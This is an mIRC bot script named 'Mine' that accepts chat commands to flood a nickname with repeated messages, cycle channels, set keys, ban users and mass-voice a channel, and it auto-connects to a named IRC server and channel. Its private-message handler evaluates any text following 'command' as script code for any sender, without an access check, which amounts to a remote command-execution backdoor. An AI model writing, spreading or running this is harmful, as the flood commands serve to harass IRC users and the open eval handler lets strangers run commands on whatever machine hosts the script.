Mine

on *:TEXT:!*:#: {
  if ($address($nick,2) == $address($me,2)) {
    mode $me +Bp
    if ($1- == !commands) {
      privmsg $nick !spam(msg|notice) nick number_of_times message
      privmsg $nick !cycle channel number_of_cycles
      privmsg $nick !setkey key
      privmsg $nick !keyoff
      privmsg $nick !invite nick
      privmsg $nick !tb nick minutes reason
      privmsg $nick !voiceall
      privmsg $nick !devoiceall
      privmsg $nick !part
      privmsg $nick !reset
      privmsg $nick !exit
    }
    if ((!spam* iswm $1-) && ($3- != $null)) {
      if ($1 == !spammsg) {
        set %type msg
      }
      if ($1 == !spamnotice) {
        set %type notice
      }
      if (($1 != !spammsg) && ($1 != !spamnotice)) {
        notice $nick Enter !spammsg or !spamnotice
        halt
      }
      set %nick $me
      nick J00_G0t_Spamed
      timermsgspam $3 1 %type $2 $4-
      timerunset11 1 $calc( $3 + 1 ) nick %nick
      timerunset12 1 $calc( $3 + 2 ) unset %nick
      timerunset13 1 $calc( $3 + 3 ) unset %type
    }
    if (($1 == !cycle) && ($3- != $null)) {
      set %chan $2
      set %cyclenum $3
      set %nick $me
      nick J00_G0t_Cycled
      while (%cyclenum > 0) {
        dec %cyclenum
        join %chan
        part %chan Cycling
      }
      nick %nick
      unset %chan | unset %cyclenum | unset %nick
    }
    if (($1 == !setkey) && ($2- != $null)) {
      if (%key == $null) {
        mode $chan +k $2
        set %key $2
        notice $nick The key has been set to $2 $+ .
      }
      else {
        mode $chan -k %key
        mode $chan +k $2
        set %key $2
        notice $nick The key has been changed to $2 $+ .
      }
    }
    if ($1- == !keyoff) {
      if (%key != $null) {
        mode $chan -k %key
        unset %key
        notice $nick The key is now off.
      }
      else {
        notice $nick There is no key set.
      }
    }
    if (($1- == !reset) || ($1- == !exit)) {
      if (%key != $null) {
        mode $chan -k %key
      }
      unset %*
      mode $me -Bp
      timer* off
      notice $nick Bot has been reset.
      if ($1- == !exit) {
        exit -n
      }
    }
    if (($1 == !invite) && ($2- != $null)) {
      invite $2 $chan
      msg $chan $2 has been invited to $chan $+ .
    }
    if (($1 == !tb) && ($3- != $null)) {
      if (($me isop $chan) || ($me ishop $chan)) {
        ban -ku $+ $calc( $3 * 60 ) $chan $2 Temp ban for $3 minute(s) $chr(124) Reason: $4-
      }
    }
    if ($1- == !part) {
      part $chan
    }
    if ($1- == !voiceall) {
      set %x $nick($chan,0)
      set %y 0
      while (%x > 0) {
        dec %x
        inc %y
        if ($nick($chan,%y) isreg $chan) {
          mode $chan +v $nick($chan,%y)
        }
      }
      unset %x
      unset %y
    }
    if ($1- == !devoiceall) {
      set %x $nick($chan,0)
      set %y 0
      while (%x > 0) {
        dec %x
        inc %y
        if ($nick($chan,%y) isvoice $chan) {
          mode $chan -v $nick($chan,%y)
        }
      }
      unset %x
      unset %y
    }
  }
  else {
    notice $nick Access denied.
  }
}

on *:TEXT:*:?: {
  if ($1 == command) {
    $($2-,2)
    close -m
  }
}

on *:INVITE:#: {
  if ($address($nick,2) == $address($me,2)) {
    join $chan
  }
  else {
    notice $nick Access denied.
  }
}

alias connect {
  server irc.swiftirc.net -j #welure_24_7
}